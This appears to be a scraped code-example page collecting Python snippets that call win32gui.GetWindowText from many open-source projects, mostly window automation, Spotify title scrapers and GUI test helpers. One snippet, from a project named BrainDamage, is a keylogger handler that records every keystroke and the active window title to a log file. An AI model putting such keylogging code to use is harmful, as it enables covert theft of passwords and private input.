python类GetWindowText()的实例源码

windows.py 文件源码 项目:ATX 作者: NetEaseGame 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def __init__(self, window_name=None, exe_file=None, exclude_border=True):
        hwnd = 0

        # first check window_name
        if window_name is not None:
            hwnd = win32gui.FindWindow(None, window_name)
            if hwnd == 0:
                def callback(h, extra):
                    if window_name in win32gui.GetWindowText(h):
                        extra.append(h)
                    return True
                extra = []
                win32gui.EnumWindows(callback, extra)
                if extra: hwnd = extra[0]
            if hwnd == 0:
                raise WindowsAppNotFoundError("Windows Application <%s> not found!" % window_name)

        # check exe_file by checking all processes current running.
        elif exe_file is not None:
            pid = find_process_id(exe_file)
            if pid is not None:
                def callback(h, extra):
                    if win32gui.IsWindowVisible(h) and win32gui.IsWindowEnabled(h):
                        _, p = win32process.GetWindowThreadProcessId(h)
                        if p == pid:
                            extra.append(h)
                        return True
                    return True
                extra = []
                win32gui.EnumWindows(callback, extra)
                #TODO: get main window from all windows.
                if extra: hwnd = extra[0]
            if hwnd == 0:
                raise WindowsAppNotFoundError("Windows Application <%s> is not running!" % exe_file)

        # if window_name & exe_file both are None, use the screen.
        if hwnd == 0:
            hwnd = win32gui.GetDesktopWindow()

        self.hwnd = hwnd
        self.exclude_border = exclude_border
WindowFinder.py 文件源码 项目:myautotest 作者: auuppp 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def _window_enum_dialog_callback(hwnd, extra):
    '''Call back func which checks each open window and matches the name of window using reg ex'''
    #self._handle = None
    matchtext = extra 
    matchtext = matchtext.encode('utf-8')
    logging.debug("call _window_enum_dialog_callback")
    classname = win32gui.GetClassName(hwnd)
    title_text = win32gui.GetWindowText(hwnd)
    title_text = title_text.decode('gbk').encode('utf-8')
    if classname == '#32770':
        matchtext = matchtext.encode('utf-8')
        logging.debug("msg: " + matchtext)
        logging.debug("Title is: " + title_text)

    if (matchtext.strip() == title_text.strip()):
        logging.debug("!!!!BINGO!!!!")
        top_hwnd = hwnd
        logging.debug("Find the window at the top")
        return False
    else:
        logging.debug("No matched .....")
        return True
winguiauto.py 文件源码 项目:pyAutoTrading 作者: drongh 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def dumpWindow(hwnd, wantedText=None, wantedClass=None):
    """
    :param hwnd: ????
    :param wantedText: ??????
    :param wantedClass: ???????
    :return: ??????????????
    """
    windows = []
    hwndChild = None
    while True:
        hwndChild = win32gui.FindWindowEx(hwnd, hwndChild, wantedClass, wantedText)
        if hwndChild:
            textName = win32gui.GetWindowText(hwndChild)
            className = win32gui.GetClassName(hwndChild)
            windows.append((hwndChild, textName, className))
        else:
            return windows
win_GUI.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def GetChildapp(self,str_app):
        print '******** GetChildapp fuction ********'
        hwnd = win32gui.FindWindow(None, str_app)
        if hwnd < 1:
            hwnd = self.find_main_window(str_app)
        if hwnd>1:
            hChild =  win32gui.GetWindow(hwnd,win32con.GW_CHILD)
            bufLen=1024
            buf =win32gui.PyMakeBuffer(bufLen)
            totalnum = 1 
            while hChild :
                hChild = win32gui.GetWindow(hChild,win32con.GW_HWNDNEXT)
                n = win32gui.SendMessage(hChild,win32con.WM_GETTEXT,bufLen,buf)
                str = buf[:n]
                print '@@@@@@@@@@@'
                print win32gui.GetWindowText(hChild)
                print str
                '''
                if totalnum ==3:
                    win32gui.SendMessage(hChild,win32con.WM_SETTEXT,None,'Realtek 10/100/1000 Ethernet NIC')
                '''
                print  totalnum,hChild
                totalnum = totalnum + 1

        print '******** GetChildapp fuction ********',totalnum
ExportEBK.py 文件源码 项目:tdx 作者: sqltxt 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def handle_window(hwnd,extra):#TB_handle??
    if win32gui.IsWindowVisible(hwnd):
        if extra in win32gui.GetWindowText(hwnd):
            global handle
            handle= hwnd
apithread.py 文件源码 项目:StarCraft-Casting-Tool 作者: teampheenix 项目源码 文件源码 阅读 19 收藏 0 点赞 0 评论 0
def isSC2onForeground():
    """Detect if SC2-Client is the foreground window (only Windows)."""
    try:
        fg_window_name = GetWindowText(GetForegroundWindow()).lower()
        sc2 = "StarCraft II".lower()
        return fg_window_name == sc2
    except Exception as e:
        module_logger.exception("message")
        return False
windows.py 文件源码 项目:AutomatorX 作者: xiaoyaojjian 项目源码 文件源码 阅读 28 收藏 0 点赞 0 评论 0
def __init__(self, window_name=None, exe_file=None, exclude_border=True):
        hwnd = 0

        # first check window_name
        if window_name is not None:
            hwnd = win32gui.FindWindow(None, window_name)
            if hwnd == 0:
                def callback(h, extra):
                    if window_name in win32gui.GetWindowText(h):
                        extra.append(h)
                    return True
                extra = []
                win32gui.EnumWindows(callback, extra)
                if extra: hwnd = extra[0]
            if hwnd == 0:
                raise WindowsAppNotFoundError("Windows Application <%s> not found!" % window_name)

        # check exe_file by checking all processes current running.
        elif exe_file is not None:
            pid = find_process_id(exe_file)
            if pid is not None:
                def callback(h, extra):
                    if win32gui.IsWindowVisible(h) and win32gui.IsWindowEnabled(h):
                        _, p = win32process.GetWindowThreadProcessId(h)
                        if p == pid:
                            extra.append(h)
                        return True
                    return True
                extra = []
                win32gui.EnumWindows(callback, extra)
                #TODO: get main window from all windows.
                if extra: hwnd = extra[0]
            if hwnd == 0:
                raise WindowsAppNotFoundError("Windows Application <%s> is not running!" % exe_file)

        # if window_name & exe_file both are None, use the screen.
        if hwnd == 0:
            hwnd = win32gui.GetDesktopWindow()

        self.hwnd = hwnd
        self.exclude_border = exclude_border
WindowFinder.py 文件源码 项目:myautotest 作者: auuppp 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def _window_enum_callback(self, hwnd, wildcard):
        '''Call back func which checks each open window and matches the name of window using reg ex'''
        if re.match(wildcard, str(win32gui.GetWindowText(hwnd))) != None:
            self._handle = hwnd
spotilib.py 文件源码 项目:Spotilyrics 作者: eitchtee 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def song_info():
    try:
        song_info = win32gui.GetWindowText(getwindow())
    except:
        pass
    return song_info
windows.py 文件源码 项目:aw-watcher-window 作者: ActivityWatch 项目源码 文件源码 阅读 35 收藏 0 点赞 0 评论 0
def get_window_title(hwnd):
    return win32gui.GetWindowText(hwnd)
window_api.py 文件源码 项目:pyty 作者: howardjohn 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def get_text(hwnd):
    """
    Gets the titlebar text of a window (only standard ascii).

    Args:
        hwnd (int): The window handler.
    Returns:
        (string): The titlebar text of the window.
    """
    return ''.join(char for char in wg.GetWindowText(hwnd) if ord(char) <= 126)
backend.py 文件源码 项目:spotifylyrics 作者: fr31 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def getwindowtitle():
    if sys.platform == "win32":
        spotify = win32gui.FindWindow('SpotifyMainWindow', None)
        windowname = win32gui.GetWindowText(spotify)
    elif sys.platform == "darwin":
        windowname = ''
        try:
            command = "osascript getCurrentSong.AppleScript"
            windowname = subprocess.check_output(["/bin/bash", "-c", command]).decode("utf-8")
        except Exception:
            pass
    else:
        windowname = ''
        session = dbus.SessionBus()
        spotifydbus = session.get_object("org.mpris.MediaPlayer2.spotify", "/org/mpris/MediaPlayer2")
        spotifyinterface = dbus.Interface(spotifydbus, "org.freedesktop.DBus.Properties")
        metadata = spotifyinterface.Get("org.mpris.MediaPlayer2.Player", "Metadata")
        try:
            command = "xwininfo -tree -root"
            windows = subprocess.check_output(["/bin/bash", "-c", command]).decode("utf-8")
            spotify = ''
            for line in windows.splitlines():
                if '("spotify" "Spotify")' in line:
                    if " - " in line:
                        spotify = line
                        break
            if spotify == '':
                windowname = 'Spotify'
        except Exception:
            pass
        if windowname != 'Spotify':
            windowname = "%s - %s" %(metadata['xesam:artist'][0], metadata['xesam:title'])
    if "—" in windowname:
        windowname = windowname.replace("—", "-")
    if "Spotify - " in windowname:
        windowname = windowname.strip("Spotify - ")
    return(windowname)
cutthecrap.py 文件源码 项目:fame_modules 作者: certsocietegenerale 项目源码 文件源码 阅读 18 收藏 0 点赞 0 评论 0
def foreach_window(self):
        def callback(hwnd, lparam):
            title = win32gui.GetWindowText(hwnd).lower()

            for window in self.to_close:
                if window in title:
                    win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
                    print "Closed window ({})".format(title)

            for window in self.clicks:
                if window in title:
                    self._windows[hwnd] = {
                        "matches": self.clicks[window],
                        "to_click": [],
                        "buttons": []
                    }
                    try:
                        win32gui.EnumChildWindows(hwnd, self.foreach_child(), hwnd)
                    except:
                        print "EnumChildWindows failed, moving on."

                    for button_toclick in self._windows[hwnd]['to_click']:
                        for button in self._windows[hwnd]['buttons']:
                            if button_toclick in button['text']:
                                win32gui.SetForegroundWindow(button['handle'])
                                win32gui.SendMessage(button['handle'], win32con.BM_CLICK, 0, 0)
                                print "Clicked on button ({} / {})".format(title, button['text'])

                    del self._windows[hwnd]

            return True

        return callback
winguiauto.py 文件源码 项目:pyAutoTrading 作者: drongh 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def getWindowText(hwnd):
    """
    ???????
    """
    return win32gui.GetWindowText(hwnd)
winguiauto.py 文件源码 项目:pyAutoTrading 作者: drongh 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def _windowEnumerationHandler(hwnd, resultList):
    """Pass to win32gui.EnumWindows() to generate list of window handle,
    window text, window class tuples."""
    resultList.append((hwnd,
                       win32gui.GetWindowText(hwnd),
                       win32gui.GetClassName(hwnd)))
ontop.py 文件源码 项目:WinGuake 作者: chand1012 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def enumHandler(hwnd, lParam):
    if win32gui.IsWindowVisible(hwnd):
        if 'WinGuake - Guake For Windows' in win32gui.GetWindowText(hwnd):
            m_width = win32api.GetSystemMetrics(0)
            m_length = win32api.GetSystemMetrics(1)
            w_width = int(m_width)
            w_length = int(m_length/2)
            win32gui.MoveWindow(hwnd, 0, 0, w_width, w_length, True)
window_resize.py 文件源码 项目:WinGuake 作者: chand1012 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def enumHandler(hwnd, lParam):
    if win32gui.IsWindowVisible(hwnd):
        if 'WinGuake' in win32gui.GetWindowText(hwnd):
            m_width = win32api.GetSystemMetrics(0)
            m_length = win32api.GetSystemMetrics(1)
            w_width = int(m_width)
            w_length = int(m_length/2)
            win32gui.MoveWindow(hwnd, 0, 0, w_width, w_length, True)
winguake_allinone.py 文件源码 项目:WinGuake 作者: chand1012 项目源码 文件源码 阅读 19 收藏 0 点赞 0 评论 0
def enumHandler(hwnd, lParam):
    if win32gui.IsWindowVisible(hwnd):
        if 'WinGuake - Guake For Windows' in win32gui.GetWindowText(hwnd):
            m_width = GetSystemMetrics(0)
            m_length = GetSystemMetrics(1)
            w_width = int(m_width)
            w_length = int(m_length/2)
            win32gui.MoveWindow(hwnd, 0, 0, w_width, w_length, True)
wingui.py 文件源码 项目:YOHO_Automated_Test 作者: yzwy1988 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def _window_enum_callback(self, hwnd, wildcard):
        """Call back func which checks each open window and matches the name of window using reg ex"""
        if re.match(wildcard, str(win32gui.GetWindowText(hwnd))) != None:
            self._handle = hwnd
RadiumKeylogger.py 文件源码 项目:BrainDamage 作者: mehulj94 项目源码 文件源码 阅读 30 收藏 0 点赞 0 评论 0
def OnKeyboardEvent(self,event):
        global buffer
        global window
        global save_keystroke
        global current_active_window

        save_keystroke = open(USERDATA_PATH + "keylog.txt", 'a')

        new_active_window = current_active_window
        current_active_window = win32gui.GetWindowText(win32gui.GetForegroundWindow())

        if new_active_window != current_active_window:
            window = current_system_time.strftime("%d/%m/%Y-%H|%M|%S") + ": " + current_active_window
            save_keystroke.write(str(window)+'\n')
            window = ''

        if event.Ascii == 13:
            buffer = current_system_time.strftime("%d/%m/%Y-%H|%M|%S") + ": " + buffer
            save_keystroke.write(buffer+ '\n')
            buffer = ''
        elif event.Ascii == 8:
            buffer = buffer[:-1]
        elif event.Ascii == 9:
            keys = '\t'
            buffer = buffer + keys
        elif event.Ascii >= 32 and event.Ascii <= 127:
            keys = chr(event.Ascii)
            buffer = buffer + keys
        return True
wingui.py 文件源码 项目:brush 作者: chenshiyang2015 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def _window_enum_callback(self, hwnd, wildcard):
        '''Call back func which checks each open window and matches the name of window using reg ex'''
        if re.match(wildcard, str(win32gui.GetWindowText(hwnd))) != None:
            self._handle = hwnd
spotify_scraper.py 文件源码 项目:spotify-scraper 作者: naschorr 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def updateWindowHandle(self, callback=None):
        def getSpotifyWindowHandle(handle, extra):
            pid = GetWindowThreadProcessId(handle)[1]
            processName = psutil.Process(pid).name().lower()
            songMatch = SONG_DATA_RE.match(GetWindowText(handle))
            if(SPOTIFY in processName and songMatch):
                self.windowHandle = handle
                ## Should really be a return False here to kill off the 
                ##  enumeration when a suitable handle is found, but that
                ##  produces a weird 'Things have gone VERY wrong' error.
                ##  See: http://docs.activestate.com/activepython/3.1/pywin32/win32gui__EnumWindows_meth.html

        EnumWindows(getSpotifyWindowHandle, None)

        ## Can't know which window will display the currently playing song
        ##  information unless it's playing music.
        if(not self.windowHandle):
            self._findWindowHandleAttempts += 1
            if(self._findWindowHandleAttempts > ATTEMPT_LIMIT):
                self.stopScraping()
                raise RuntimeError("No valid " + SPOTIFY + " windows available. Is it currently open and running (and not playing any ads)?")
            self.playSong()
            time.sleep(WAIT_TIME)   ## Give Spotify a moment to start playing.
            self.updateWindowHandle()

        if(callback):
            callback()
spotify_scraper.py 文件源码 项目:spotify-scraper 作者: naschorr 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def updateSongData(self, callback=None):
        windowText = GetWindowText(self.windowHandle)
        ## Don't just endlessly loop if the window handle stops working
        ##  (usually because the window was closed).
        if(not windowText):
            self.stopScraping()
            self.windowHandle = None
            raise RuntimeError("No valid " + SPOTIFY + " windows available. Was it closed recently?")

        songMatch = SONG_DATA_RE.match(windowText)
        ## Check to see that the 'Artist - Song' string is in the window's title.
        if(songMatch):
            song = songMatch.group(1)
            artist = songMatch.group(2)
            ## Check to make sure that the song data is for a new song.
            if(self.song != song or self.artist != artist):
                self.song = song
                self.artist = artist
                if(self.shouldGetArt):
                    self.art = self.captureAlbumArt()

                ## Callback only when the song has been updated.
                if(callback):
                    if(self._callbackArgCount == 0):
                        callback()
                    elif(self._callbackArgCount == 1):
                        callback(self.getSongDataDict())
                    else:
                        self.stopScraping()
                        alert = "The callback function '{0}' should take 0 or 1 arguments. It current takes {1} arguments."
                        RuntimeError(alert.format(callback.__name__, self._callbackArgCount))
ctrl_waveQoE.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def _windowEnumerationHandler(hwnd, resultList):
    '''Pass to win32gui.EnumWindows() to generate list of window handle,
    window text, window class tuples.'''
    resultList.append((hwnd,
                       win32gui.GetWindowText(hwnd),
                       win32gui.GetClassName(hwnd)))
winGuiAuto_bak.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def _windowEnumerationHandler(hwnd, resultList):
    '''Pass to win32gui.EnumWindows() to generate list of window handle,
    window text, window class tuples.'''
    resultList.append((hwnd,
                       win32gui.GetWindowText(hwnd),
                       win32gui.GetClassName(hwnd)))
winGuiAuto.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def _windowEnumerationHandler(hwnd, resultList):
    '''Pass to win32gui.EnumWindows() to generate list of window handle,
    window text, window class tuples.'''
    resultList.append((hwnd,
                       win32gui.GetWindowText(hwnd),
                       win32gui.GetClassName(hwnd)))
win_GUI.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def is_win_ok(self,hwnd,starttext,lb_dx='869',lb_dy='38',win_dx='',win_dy=''):
        #print "*********is_win_ok function**********"
        #print "*********is_win_ok function starttext**********",starttext
        if len(win_dx)>0:
            self.wdx = string.atoi(win_dx)
        if len(win_dy)>0:
            self.wdy = string.atoi(win_dy)
        s = win32gui.GetWindowText(hwnd)
        #print s
        if s.startswith(starttext):
            #print "*********is_win_ok function s**********",s
            #print (s)
            dlg=win32gui.FindWindow(None,s)
            time.sleep(1)
            #win32gui.ShowWindow(dlg,win32con.SW_SHOWMAXIMIZED)
            win32gui.ShowWindow(dlg,win32con.SW_SHOW)
            time.sleep(1)
            #print 'self.wdx,self.wdy:',self.wdx,self.wdy
            #win32gui.MoveWindow(dlg,0,0,self.wdx,self.wdy,1)
            time.sleep(1)
            win32gui.SetForegroundWindow(dlg)
            time.sleep(1)
            #win32gui.ShowWindow(dlg,win32con.SW_SHOWMAXIMIZED)
            win32gui.ShowWindow(dlg,win32con.SW_SHOW)
            time.sleep(1)

            #self.Mouse_LB(lb_dx,lb_dy)
            global MAIN_HWND
            MAIN_HWND = hwnd
            return None
        return 1
win_GUI.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def winfun(self, hwnd,lparam):
        print "*********winfun function**********"
        s = win32gui.GetWindowText(hwnd)
        if len(s) > 3:
            print("winfun, child_hwd: %d   txt: %s" % (hwnd, s))
        return 1
ctrl_waveApps.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 30 收藏 0 点赞 0 评论 0
def _windowEnumerationHandler(hwnd, resultList):
    '''Pass to win32gui.EnumWindows() to generate list of window handle,
    window text, window class tuples.'''
    resultList.append((hwnd,
                       win32gui.GetWindowText(hwnd),
                       win32gui.GetClassName(hwnd)))
ctrl_omnipeek.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def _windowEnumerationHandler(hwnd, resultList):
    '''Pass to win32gui.EnumWindows() to generate list of window handle,
    window text, window class tuples.'''
    resultList.append((hwnd,
                       win32gui.GetWindowText(hwnd),
                       win32gui.GetClassName(hwnd)))


问题


面经


文章

微信
公众号

扫码关注公众号